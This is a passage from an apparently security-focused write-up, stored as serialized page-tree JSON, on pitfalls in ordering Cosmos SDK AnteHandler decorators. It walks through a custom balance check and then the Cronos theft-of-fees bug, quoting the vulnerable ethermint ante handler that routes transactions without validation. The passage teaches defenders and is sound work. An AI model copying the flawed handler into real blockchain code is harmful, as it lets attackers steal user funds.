next",{"type":23,"tag":481,"props":76236,"children":76237},{"style":943},[76238],{"type":28,"value":76173},{"type":23,"tag":481,"props":76240,"children":76241},{"style":525},[76242],{"type":28,"value":199},{"type":23,"tag":481,"props":76244,"children":76245},{"style":943},[76246],{"type":28,"value":76002},{"type":23,"tag":481,"props":76248,"children":76249},{"style":525},[76250],{"type":28,"value":1033},{"type":23,"tag":481,"props":76252,"children":76253},{"class":483,"line":864},[76254,76258,76263,76267,76271,76275,76279],{"type":23,"tag":481,"props":76255,"children":76256},{"style":525},[76257],{"type":28,"value":73914},{"type":23,"tag":481,"props":76259,"children":76260},{"style":943},[76261],{"type":28,"value":76262},"sdk",{"type":23,"tag":481,"props":76264,"children":76265},{"style":525},[76266],{"type":28,"value":199},{"type":23,"tag":481,"props":76268,"children":76269},{"style":943},[76270],{"type":28,"value":73881},{"type":23,"tag":481,"props":76272,"children":76273},{"style":525},[76274],{"type":28,"value":588},{"type":23,"tag":481,"props":76276,"children":76277},{"style":943},[76278],{"type":28,"value":12352},{"type":23,"tag":481,"props":76280,"children":76281},{"style":525},[76282],{"type":28,"value":12292},{"type":23,"tag":481,"props":76284,"children":76285},{"class":483,"line":873},[76286,76291,76295,76300,76304,76308,76313,76318,76322,76327],{"type":23,"tag":481,"props":76287,"children":76288},{"style":508},[76289],{"type":28,"value":76290}," sigTx",{"type":23,"tag":481,"props":76292,"children":76293},{"style":525},[76294],{"type":28,"value":588},{"type":23,"tag":481,"props":76296,"children":76297},{"style":508},[76298],{"type":28,"value":76299},"ok",{"type":23,"tag":481,"props":76301,"children":76302},{"style":514},[76303],{"type":28,"value":73948},{"type":23,"tag":481,"props":76305,"children":76306},{"style":508},[76307],{"type":28,"value":65557},{"type":23,"tag":481,"props":76309,"children":76310},{"style":525},[76311],{"type":28,"value":76312},".(",{"type":23,"tag":481,"props":76314,"children":76315},{"style":943},[76316],{"type":28,"value":76317},"authsigning",{"type":23,"tag":481,"props":76319,"children":76320},{"style":525},[76321],{"type":28,"value":199},{"type":23,"tag":481,"props":76323,"children":76324},{"style":943},[76325],{"type":28,"value":76326},"SigVerifiableTx",{"type":23,"tag":481,"props":76328,"children":76329},{"style":525},[76330],{"type":28,"value":675},{"type":23,"tag":481,"props":76332,"children":76333},{"class":483,"line":1125},[76334,76338,76342,76346],{"type":23,"tag":481,"props":76335,"children":76336},{"style":535},[76337],{"type":28,"value":9766},{"type":23,"tag":481,"props":76339,"children":76340},{"style":514},[76341],{"type":28,"value":10351},{"type":23,"tag":481,"props":76343,"children":76344},{"style":508},[76345],{"type":28,"value":76299},{"type":23,"tag":481,"props":76347,"children":76348},{"style":525},[76349],{"type":28,"value":809},{"type":23,"tag":481,"props":76351,"children":76352},{"class":483,"line":1142},[76353,76357,76361,76365,76370,76374,76379],{"type":23,"tag":481,"props":76354,"children":76355},{"style":535},[76356],{"type":28,"value":13234},{"type":23,"tag":481,"props":76358,"children":76359},{"style":508},[76360],{"type":28,"value":23354},{"type":23,"tag":481,"props":76362,"children":76363},{"style":525},[76364],{"type":28,"value":588},{"type":23,"tag":481,"props":76366,"children":76367},{"style":508},[76368],{"type":28,"value":76369},"errorsmod",{"type":23,"tag":481,"props":76371,"children":76372},{"style":525},[76373],{"type":28,"value":199},{"type":23,"tag":481,"props":76375,"children":76376},{"style":610},[76377],{"type":28,"value":76378},"Wrap",{"type":23,"tag":481,"props":76380,"children":76381},{"style":525},[76382],{"type":28,"value":988},{"type":23,"tag":481,"props":76384,"children":76385},{"class":483,"line":1159},[76386,76391,76395,76400],{"type":23,"tag":481,"props":76387,"children":76388},{"style":508},[76389],{"type":28,"value":76390}," sdkerrors",{"type":23,"tag":481,"props":76392,"children":76393},{"style":525},[76394],{"type":28,"value":199},{"type":23,"tag":481,"props":76396,"children":76397},{"style":508},[76398],{"type":28,"value":76399},"ErrTxDecode",{"type":23,"tag":481,"props":76401,"children":76402},{"style":525},[76403],{"type":28,"value":1033},{"type":23,"tag":481,"props":76405,"children":76406},{"class":483,"line":1172},[76407,76412],{"type":23,"tag":481,"props":76408,"children":76409},{"style":1805},[76410],{"type":28,"value":76411}," \"invalid tx type\"",{"type":23,"tag":481,"props":76413,"children":76414},{"style":525},[76415],{"type":28,"value":1033},{"type":23,"tag":481,"props":76417,"children":76418},{"class":483,"line":1181},[76419],{"type":23,"tag":481,"props":76420,"children":76421},{"style":525},[76422],{"type":28,"value":65850},{"type":23,"tag":481,"props":76424,"children":76425},{"class":483,"line":1204},[76426],{"type":23,"tag":481,"props":76427,"children":76428},{"style":525},[76429],{"type":28,"value":879},{"type":23,"tag":481,"props":76431,"children":76432},{"class":483,"line":1213},[76433],{"type":23,"tag":481,"props":76434,"children":76435},{"emptyLinePlaceholder":15},[76436],{"type":28,"value":1210},{"type":23,"tag":481,"props":76438,"children":76439},{"class":483,"line":1222},[76440,76445,76449,76454,76458,76463],{"type":23,"tag":481,"props":76441,"children":76442},{"style":508},[76443],{"type":28,"value":76444}," signers",{"type":23,"tag":481,"props":76446,"children":76447},{"style":514},[76448],{"type":28,"value":73948},{"type":23,"tag":481,"props":76450,"children":76451},{"style":508},[76452],{"type":28,"value":76453}," sigTx",{"type":23,"tag":481,"props":76455,"children":76456},{"style":525},[76457],{"type":28,"value":199},{"type":23,"tag":481,"props":76459,"children":76460},{"style":610},[76461],{"type":28,"value":76462},"GetSigners",{"type":23,"tag":481,"props":76464,"children":76465},{"style":525},[76466],{"type":28,"value":5214},{"type":23,"tag":481,"props":76468,"children":76469},{"class":483,"line":1291},[76470,76474,76478,76482,76486,76490,76494,76499],{"type":23,"tag":481,"props":76471,"children":76472},{"style":535},[76473],{"type":28,"value":538},{"type":23,"tag":481,"props":76475,"children":76476},{"style":508},[76477],{"type":28,"value":922},{"type":23,"tag":481,"props":76479,"children":76480},{"style":525},[76481],{"type":28,"value":588},{"type":23,"tag":481,"props":76483,"children":76484},{"style":508},[76485],{"type":28,"value":4624},{"type":23,"tag":481,"props":76487,"children":76488},{"style":514},[76489],{"type":28,"value":73948},{"type":23,"tag":481,"props":76491,"children":76492},{"style":535},[76493],{"type":28,"value":74931},{"type":23,"tag":481,"props":76495,"children":76496},{"style":508},[76497],{"type":28,"value":76498}," signers",{"type":23,"tag":481,"props":76500,"children":76501},{"style":525},[76502],{"type":28,"value":809},{"type":23,"tag":481,"props":76504,"children":76505},{"class":483,"line":1299},[76506,76511,76515,76520,76524,76529,76533,76538,76542,76546,76550,76554,76558,76563],{"type":23,"tag":481,"props":76507,"children":76508},{"style":508},[76509],{"type":28,"value":76510}," balance",{"type":23,"tag":481,"props":76512,"children":76513},{"style":514},[76514],{"type":28,"value":73948},{"type":23,"tag":481,"props":76516,"children":76517},{"style":508},[76518],{"type":28,"value":76519}," abd",{"type":23,"tag":481,"props":76521,"children":76522},{"style":525},[76523],{"type":28,"value":199},{"type":23,"tag":481,"props":76525,"children":76526},{"style":508},[76527],{"type":28,"value":76528},"bk",{"type":23,"tag":481,"props":76530,"children":76531},{"style":525},[76532],{"type":28,"value":199},{"type":23,"tag":481,"props":76534,"children":76535},{"style":610},[76536],{"type":28,"value":76537},"getBalance",{"type":23,"tag":481,"props":76539,"children":76540},{"style":525},[76541],{"type":28,"value":618},{"type":23,"tag":481,"props":76543,"children":76544},{"style":508},[76545],{"type":28,"value":17778},{"type":23,"tag":481,"props":76547,"children":76548},{"style":525},[76549],{"type":28,"value":588},{"type":23,"tag":481,"props":76551,"children":76552},{"style":508},[76553],{"type":28,"value":4624},{"type":23,"tag":481,"props":76555,"children":76556},{"style":525},[76557],{"type":28,"value":588},{"type":23,"tag":481,"props":76559,"children":76560},{"style":508},[76561],{"type":28,"value":76562},"ATOM",{"type":23,"tag":481,"props":76564,"children":76565},{"style":525},[76566],{"type":28,"value":675},{"type":23,"tag":481,"props":76568,"children":76569},{"class":483,"line":1329},[76570,76574,76579,76583,76588,76592,76597],{"type":23,"tag":481,"props":76571,"children":76572},{"style":535},[76573],{"type":28,"value":790},{"type":23,"tag":481,"props":76575,"children":76576},{"style":508},[76577],{"type":28,"value":76578}," balance",{"type":23,"tag":481,"props":76580,"children":76581},{"style":525},[76582],{"type":28,"value":199},{"type":23,"tag":481,"props":76584,"children":76585},{"style":508},[76586],{"type":28,"value":76587},"Amount",{"type":23,"tag":481,"props":76589,"children":76590},{"style":514},[76591],{"type":28,"value":6199},{"type":23,"tag":481,"props":76593,"children":76594},{"style":508},[76595],{"type":28,"value":76596}," MIN_BALANCE",{"type":23,"tag":481,"props":76598,"children":76599},{"style":525},[76600],{"type":28,"value":809},{"type":23,"tag":481,"props":76602,"children":76603},{"class":483,"line":1337},[76604,76609,76613,76617,76621,76625,76629],{"type":23,"tag":481,"props":76605,"children":76606},{"style":535},[76607],{"type":28,"value":76608}," return",{"type":23,"tag":481,"props":76610,"children":76611},{"style":508},[76612],{"type":28,"value":23354},{"type":23,"tag":481,"props":76614,"children":76615},{"style":525},[76616],{"type":28,"value":588},{"type":23,"tag":481,"props":76618,"children":76619},{"style":508},[76620],{"type":28,"value":76369},{"type":23,"tag":481,"props":76622,"children":76623},{"style":525},[76624],{"type":28,"value":199},{"type":23,"tag":481,"props":76626,"children":76627},{"style":610},[76628],{"type":28,"value":76378},{"type":23,"tag":481,"props":76630,"children":76631},{"style":525},[76632],{"type":28,"value":988},{"type":23,"tag":481,"props":76634,"children":76635},{"class":483,"line":1369},[76636,76641],{"type":23,"tag":481,"props":76637,"children":76638},{"style":508},[76639],{"type":28,"value":76640}," ErrInsufficientBalance",{"type":23,"tag":481,"props":76642,"children":76643},{"style":525},[76644],{"type":28,"value":1033},{"type":23,"tag":481,"props":76646,"children":76647},{"class":483,"line":1377},[76648,76653],{"type":23,"tag":481,"props":76649,"children":76650},{"style":1805},[76651],{"type":28,"value":76652}," \"Insufficient Balance\"",{"type":23,"tag":481,"props":76654,"children":76655},{"style":525},[76656],{"type":28,"value":1033},{"type":23,"tag":481,"props":76658,"children":76659},{"class":483,"line":1437},[76660],{"type":23,"tag":481,"props":76661,"children":76662},{"style":525},[76663],{"type":28,"value":75047},{"type":23,"tag":481,"props":76665,"children":76666},{"class":483,"line":6528},[76667],{"type":23,"tag":481,"props":76668,"children":76669},{"style":525},[76670],{"type":28,"value":870},{"type":23,"tag":481,"props":76672,"children":76673},{"class":483,"line":6546},[76674],{"type":23,"tag":481,"props":76675,"children":76676},{"style":525},[76677],{"type":28,"value":879},{"type":23,"tag":481,"props":76679,"children":76680},{"class":483,"line":6591},[76681],{"type":23,"tag":481,"props":76682,"children":76683},{"emptyLinePlaceholder":15},[76684],{"type":28,"value":1210},{"type":23,"tag":481,"props":76686,"children":76687},{"class":483,"line":6697},[76688,76692,76697,76701,76705,76709,76714,76718,76723],{"type":23,"tag":481,"props":76689,"children":76690},{"style":535},[76691],{"type":28,"value":14481},{"type":23,"tag":481,"props":76693,"children":76694},{"style":610},[76695],{"type":28,"value":76696}," next",{"type":23,"tag":481,"props":76698,"children":76699},{"style":525},[76700],{"type":28,"value":618},{"type":23,"tag":481,"props":76702,"children":76703},{"style":508},[76704],{"type":28,"value":17778},{"type":23,"tag":481,"props":76706,"children":76707},{"style":525},[76708],{"type":28,"value":588},{"type":23,"tag":481,"props":76710,"children":76711},{"style":508},[76712],{"type":28,"value":76713},"tx",{"type":23,"tag":481,"props":76715,"children":76716},{"style":525},[76717],{"type":28,"value":588},{"type":23,"tag":481,"props":76719,"children":76720},{"style":508},[76721],{"type":28,"value":76722},"simulate",{"type":23,"tag":481,"props":76724,"children":76725},{"style":525},[76726],{"type":28,"value":675},{"type":23,"tag":481,"props":76728,"children":76729},{"class":483,"line":21008},[76730],{"type":23,"tag":481,"props":76731,"children":76732},{"style":525},[76733],{"type":28,"value":1443},{"type":23,"tag":24,"props":76735,"children":76736},{},[76737,76739,76744,76746,76752,76754,76760],{"type":28,"value":76738},"Where should this custom ",{"type":23,"tag":64,"props":76740,"children":76742},{"className":76741},[],[76743],{"type":28,"value":76002},{"type":28,"value":76745}," be placed relative to other ",{"type":23,"tag":64,"props":76747,"children":76749},{"className":76748},[],[76750],{"type":28,"value":76751},"AnteHandlers",{"type":28,"value":76753}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":64,"props":76755,"children":76757},{"className":76756},[],[76758],{"type":28,"value":76759},"SetUpContextDecorator",{"type":28,"value":76761}," should work, right?",{"type":23,"tag":24,"props":76763,"children":76764},{},[76765],{"type":23,"tag":190,"props":76766,"children":76769},{"href":76767,"rel":76768},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[194],[76770],{"type":28,"value":74271},{"type":23,"tag":435,"props":76772,"children":76774},{"code":76773,"language":73696,"meta":7,"className":73697,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[76775],{"type":23,"tag":64,"props":76776,"children":76777},{"__ignoreMap":7},[76778,76811,76828,76836,76865,76877,76889,76918,76946,77025,77058,77086,77131,77176,77204],{"type":23,"tag":481,"props":76779,"children":76780},{"class":483,"line":484},[76781,76786,76790,76794,76798,76802,76807],{"type":23,"tag":481,"props":76782,"children":76783},{"style":508},[76784],{"type":28,"value":76785},"anteDecorators",{"type":23,"tag":481,"props":76787,"children":76788},{"style":514},[76789],{"type":28,"value":73948},{"type":23,"tag":481,"props":76791,"children":76792},{"style":525},[76793],{"type":28,"value":73759},{"type":23,"tag":481,"props":76795,"children":76796},{"style":943},[76797],{"type":28,"value":76262},{"type":23,"tag":481,"props":76799,"children":76800},{"style":525},[76801],{"type":28,"value":199},{"type":23,"tag":481,"props":76803,"children":76804},{"style":943},[76805],{"type":28,"value":76806},"AnteDecorator",{"type":23,"tag":481,"props":76808,"children":76809},{"style":525},[76810],{"type":28,"value":8366},{"type":23,"tag":481,"props":76812,"children":76813},{"class":483,"line":351},[76814,76819,76823],{"type":23,"tag":481,"props":76815,"children":76816},{"style":610},[76817],{"type":28,"value":76818}," NewSetUpContextDecorator",{"type":23,"tag":481,"props":76820,"children":76821},{"style":525},[76822],{"type":28,"value":15869},{"type":23,"tag":481,"props":76824,"children":76825},{"style":488},[76826],{"type":28,"value":76827},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":481,"props":76829,"children":76830},{"class":483,"line":531},[76831],{"type":23,"tag":481,"props":76832,"children":76833},{"style":488},[76834],{"type":28,"value":76835}," // INSERT HERE\n",{"type":23,"tag":481,"props":76837,"children":76838},{"class":483,"line":567},[76839,76844,76848,76852,76856,76861],{"type":23,"tag":481,"props":76840,"children":76841},{"style":610},[76842],{"type":28,"value":76843}," NewExtensionOptionsDecorator",{"type":23,"tag":481,"props":76845,"children":76846},{"style":525},[76847],{"type":28,"value":618},{"type":23,"tag":481,"props":76849,"children":76850},{"style":508},[76851],{"type":28,"value":33556},{"type":23,"tag":481,"props":76853,"children":76854},{"style":525},[76855],{"type":28,"value":199},{"type":23,"tag":481,"props":76857,"children":76858},{"style":508},[76859],{"type":28,"value":76860},"ExtensionOptionChecker",{"type":23,"tag":481,"props":76862,"children":76863},{"style":525},[76864],{"type":28,"value":4214},{"type":23,"tag":481,"props":76866,"children":76867},{"class":483,"line":678},[76868,76873],{"type":23,"tag":481,"props":76869,"children":76870},{"style":610},[76871],{"type":28,"value":76872}," NewValidateBasicDecorator",{"type":23,"tag":481,"props":76874,"children":76875},{"style":525},[76876],{"type":28,"value":1016},{"type":23,"tag":481,"props":76878,"children":76879},{"class":483,"line":784},[76880,76885],{"type":23,"tag":481,"props":76881,"children":76882},{"style":610},[76883],{"type":28,"value":76884}," NewTxTimeoutHeightDecorator",{"type":23,"tag":481,"props":76886,"children":76887},{"style":525},[76888],{"type":28,"value":1016},{"type":23,"tag":481,"props":76890,"children":76891},{"class":483,"line":812},[76892,76897,76901,76905,76909,76914],{"type":23,"tag":481,"props":76893,"children":76894},{"style":610},[76895],{"type":28,"value":76896}," NewValidateMemoDecorator",{"type":23,"tag":481,"props":76898,"children":76899},{"style":525},[76900],{"type":28,"value":618},{"type":23,"tag":481,"props":76902,"children":76903},{"style":508},[76904],{"type":28,"value":33556},{"type":23,"tag":481,"props":76906,"children":76907},{"style":525},[76908],{"type":28,"value":199},{"type":23,"tag":481,"props":76910,"children":76911},{"style":508},[76912],{"type":28,"value":76913},"AccountKeeper",{"type":23,"tag":481,"props":76915,"children":76916},{"style":525},[76917],{"type":28,"value":4214},{"type":23,"tag":481,"props":76919,"children":76920},{"class":483,"line":825},[76921,76926,76930,76934,76938,76942],{"type":23,"tag":481,"props":76922,"children":76923},{"style":610},[76924],{"type":28,"value":76925}," NewConsumeGasForTxSizeDecorator",{"type":23,"tag":481,"props":76927,"children":76928},{"style":525},[76929],{"type":28,"value":618},{"type":23,"tag":481,"props":76931,"children":76932},{"style":508},[76933],{"type":28,"value":33556},{"type":23,"tag":481,"props":76935,"children":76936},{"style":525},[76937],{"type":28,"value":199},{"type":23,"tag":481,"props":76939,"children":76940},{"style":508},[76941],{"type":28,"value":76913},{"type":23,"tag":481,"props":76943,"children":76944},{"style":525},[76945],{"type":28,"value":4214},{"type":23,"tag":481,"props":76947,"children":76948},{"class":483,"line":843},[76949,76954,76958,76962,76966,76970,76974,76978,76982,76987,76991,76995,76999,77004,77008,77012,77016,77021],{"type":23,"tag":481,"props":76950,"children":76951},{"style":610},[76952],{"type":28,"value":76953}," NewDeductFeeDecorator",{"type":23,"tag":481,"props":76955,"children":76956},{"style":525},[76957],{"type":28,"value":618},{"type":23,"tag":481,"props":76959,"children":76960},{"style":508},[76961],{"type":28,"value":33556},{"type":23,"tag":481,"props":76963,"children":76964},{"style":525},[76965],{"type":28,"value":199},{"type":23,"tag":481,"props":76967,"children":76968},{"style":508},[76969],{"type":28,"value":76913},{"type":23,"tag":481,"props":76971,"children":76972},{"style":525},[76973],{"type":28,"value":588},{"type":23,"tag":481,"props":76975,"children":76976},{"style":508},[76977],{"type":28,"value":33556},{"type":23,"tag":481,"props":76979,"children":76980},{"style":525},[76981],{"type":28,"value":199},{"type":23,"tag":481,"props":76983,"children":76984},{"style":508},[76985],{"type":28,"value":76986},"BankKeeper",{"type":23,"tag":481,"props":76988,"children":76989},{"style":525},[76990],{"type":28,"value":588},{"type":23,"tag":481,"props":76992,"children":76993},{"style":508},[76994],{"type":28,"value":33556},{"type":23,"tag":481,"props":76996,"children":76997},{"style":525},[76998],{"type":28,"value":199},{"type":23,"tag":481,"props":77000,"children":77001},{"style":508},[77002],{"type":28,"value":77003},"FeegrantKeeper",{"type":23,"tag":481,"props":77005,"children":77006},{"style":525},[77007],{"type":28,"value":588},{"type":23,"tag":481,"props":77009,"children":77010},{"style":508},[77011],{"type":28,"value":33556},{"type":23,"tag":481,"props":77013,"children":77014},{"style":525},[77015],{"type":28,"value":199},{"type":23,"tag":481,"props":77017,"children":77018},{"style":508},[77019],{"type":28,"value":77020},"TxFeeChecker",{"type":23,"tag":481,"props":77022,"children":77023},{"style":525},[77024],{"type":28,"value":4214},{"type":23,"tag":481,"props":77026,"children":77027},{"class":483,"line":864},[77028,77033,77037,77041,77045,77049,77053],{"type":23,"tag":481,"props":77029,"children":77030},{"style":610},[77031],{"type":28,"value":77032}," NewSetPubKeyDecorator",{"type":23,"tag":481,"props":77034,"children":77035},{"style":525},[77036],{"type":28,"value":618},{"type":23,"tag":481,"props":77038,"children":77039},{"style":508},[77040],{"type":28,"value":33556},{"type":23,"tag":481,"props":77042,"children":77043},{"style":525},[77044],{"type":28,"value":199},{"type":23,"tag":481,"props":77046,"children":77047},{"style":508},[77048],{"type":28,"value":76913},{"type":23,"tag":481,"props":77050,"children":77051},{"style":525},[77052],{"type":28,"value":12666},{"type":23,"tag":481,"props":77054,"children":77055},{"style":488},[77056],{"type":28,"value":77057},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":481,"props":77059,"children":77060},{"class":483,"line":873},[77061,77066,77070,77074,77078,77082],{"type":23,"tag":481,"props":77062,"children":77063},{"style":610},[77064],{"type":28,"value":77065}," NewValidateSigCountDecorator",{"type":23,"tag":481,"props":77067,"children":77068},{"style":525},[77069],{"type":28,"value":618},{"type":23,"tag":481,"props":77071,"children":77072},{"style":508},[77073],{"type":28,"value":33556},{"type":23,"tag":481,"props":77075,"children":77076},{"style":525},[77077],{"type":28,"value":199},{"type":23,"tag":481,"props":77079,"children":77080},{"style":508},[77081],{"type":28,"value":76913},{"type":23,"tag":481,"props":77083,"children":77084},{"style":525},[77085],{"type":28,"value":4214},{"type":23,"tag":481,"props":77087,"children":77088},{"class":483,"line":1125},[77089,77094,77098,77102,77106,77110,77114,77118,77122,77127],{"type":23,"tag":481,"props":77090,"children":77091},{"style":610},[77092],{"type":28,"value":77093}," NewSigGasConsumeDecorator",{"type":23,"tag":481,"props":77095,"children":77096},{"style":525},[77097],{"type":28,"value":618},{"type":23,"tag":481,"props":77099,"children":77100},{"style":508},[77101],{"type":28,"value":33556},{"type":23,"tag":481,"props":77103,"children":77104},{"style":525},[77105],{"type":28,"value":199},{"type":23,"tag":481,"props":77107,"children":77108},{"style":508},[77109],{"type":28,"value":76913},{"type":23,"tag":481,"props":77111,"children":77112},{"style":525},[77113],{"type":28,"value":588},{"type":23,"tag":481,"props":77115,"children":77116},{"style":508},[77117],{"type":28,"value":33556},{"type":23,"tag":481,"props":77119,"children":77120},{"style":525},[77121],{"type":28,"value":199},{"type":23,"tag":481,"props":77123,"children":77124},{"style":508},[77125],{"type":28,"value":77126},"SigGasConsumer",{"type":23,"tag":481,"props":77128,"children":77129},{"style":525},[77130],{"type":28,"value":4214},{"type":23,"tag":481,"props":77132,"children":77133},{"class":483,"line":1142},[77134,77139,77143,77147,77151,77155,77159,77163,77167,77172],{"type":23,"tag":481,"props":77135,"children":77136},{"style":610},[77137],{"type":28,"value":77138}," NewSigVerificationDecorator",{"type":23,"tag":481,"props":77140,"children":77141},{"style":525},[77142],{"type":28,"value":618},{"type":23,"tag":481,"props":77144,"children":77145},{"style":508},[77146],{"type":28,"value":33556},{"type":23,"tag":481,"props":77148,"children":77149},{"style":525},[77150],{"type":28,"value":199},{"type":23,"tag":481,"props":77152,"children":77153},{"style":508},[77154],{"type":28,"value":76913},{"type":23,"tag":481,"props":77156,"children":77157},{"style":525},[77158],{"type":28,"value":588},{"type":23,"tag":481,"props":77160,"children":77161},{"style":508},[77162],{"type":28,"value":33556},{"type":23,"tag":481,"props":77164,"children":77165},{"style":525},[77166],{"type":28,"value":199},{"type":23,"tag":481,"props":77168,"children":77169},{"style":508},[77170],{"type":28,"value":77171},"SignModeHandler",{"type":23,"tag":481,"props":77173,"children":77174},{"style":525},[77175],{"type":28,"value":4214},{"type":23,"tag":481,"props":77177,"children":77178},{"class":483,"line":1159},[77179,77184,77188,77192,77196,77200],{"type":23,"tag":481,"props":77180,"children":77181},{"style":610},[77182],{"type":28,"value":77183}," NewIncrementSequenceDecorator",{"type":23,"tag":481,"props":77185,"children":77186},{"style":525},[77187],{"type":28,"value":618},{"type":23,"tag":481,"props":77189,"children":77190},{"style":508},[77191],{"type":28,"value":33556},{"type":23,"tag":481,"props":77193,"children":77194},{"style":525},[77195],{"type":28,"value":199},{"type":23,"tag":481,"props":77197,"children":77198},{"style":508},[77199],{"type":28,"value":76913},{"type":23,"tag":481,"props":77201,"children":77202},{"style":525},[77203],{"type":28,"value":4214},{"type":23,"tag":481,"props":77205,"children":77206},{"class":483,"line":1172},[77207],{"type":23,"tag":481,"props":77208,"children":77209},{"style":525},[77210],{"type":28,"value":1443},{"type":23,"tag":24,"props":77212,"children":77213},{},[77214,77216,77221,77223,77229,77230,77236],{"type":28,"value":77215},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":64,"props":77217,"children":77219},{"className":77218},[],[77220],{"type":28,"value":76751},{"type":28,"value":77222},", such as ",{"type":23,"tag":64,"props":77224,"children":77226},{"className":77225},[],[77227],{"type":28,"value":77228},"SigGasConsumeDecorator",{"type":28,"value":8478},{"type":23,"tag":64,"props":77231,"children":77233},{"className":77232},[],[77234],{"type":28,"value":77235},"ConsumeGasForTxSizeDecorator",{"type":28,"value":77237},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":24,"props":77239,"children":77240},{},[77241,77243,77249,77251,77256],{"type":28,"value":77242},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":64,"props":77244,"children":77246},{"className":77245},[],[77247],{"type":28,"value":77248},"msgs",{"type":28,"value":77250}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":64,"props":77252,"children":77254},{"className":77253},[],[77255],{"type":28,"value":76077},{"type":28,"value":77257}," chain.",{"type":23,"tag":7092,"props":77259,"children":77261},{"id":77260},"real-world-examples-2",[77262],{"type":28,"value":74221},{"type":23,"tag":24,"props":77264,"children":77265},{},[77266,77268,77273,77275,77282],{"type":28,"value":77267},"An instance of ",{"type":23,"tag":64,"props":77269,"children":77271},{"className":77270},[],[77272],{"type":28,"value":76002},{"type":28,"value":77274}," misuse is a ",{"type":23,"tag":190,"props":77276,"children":77279},{"href":77277,"rel":77278},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[194],[77280],{"type":28,"value":77281},"Theft of Fund bug",{"type":28,"value":77283}," that was exploited in a Cronos contract.",{"type":23,"tag":24,"props":77285,"children":77286},{},[77287,77289,77294,77296,77301,77303,77309,77311,77317,77319,77324,77326,77331],{"type":28,"value":77288},"In this scenario, ",{"type":23,"tag":64,"props":77290,"children":77292},{"className":77291},[],[77293],{"type":28,"value":77248},{"type":28,"value":77295}," are multiplexed to different ",{"type":23,"tag":64,"props":77297,"children":77299},{"className":77298},[],[77300],{"type":28,"value":76002},{"type":28,"value":77302}," sets through the user-controlled ",{"type":23,"tag":64,"props":77304,"children":77306},{"className":77305},[],[77307],{"type":28,"value":77308},"ExtensionOptionsEthereumTx",{"type":28,"value":77310}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":64,"props":77312,"children":77314},{"className":77313},[],[77315],{"type":28,"value":77316},"MsgEthereumTx",{"type":28,"value":77318}," does not have ",{"type":23,"tag":64,"props":77320,"children":77322},{"className":77321},[],[77323],{"type":28,"value":77308},{"type":28,"value":77325}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":64,"props":77327,"children":77329},{"className":77328},[],[77330],{"type":28,"value":76751},{"type":28,"value":77332},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":24,"props":77334,"children":77335},{},[77336],{"type":23,"tag":190,"props":77337,"children":77340},{"href":77338,"rel":77339},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[194],[77341],{"type":28,"value":74271},{"type":23,"tag":435,"props":77343,"children":77345},{"code":77344,"language":73696,"meta":7,"className":73697,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: 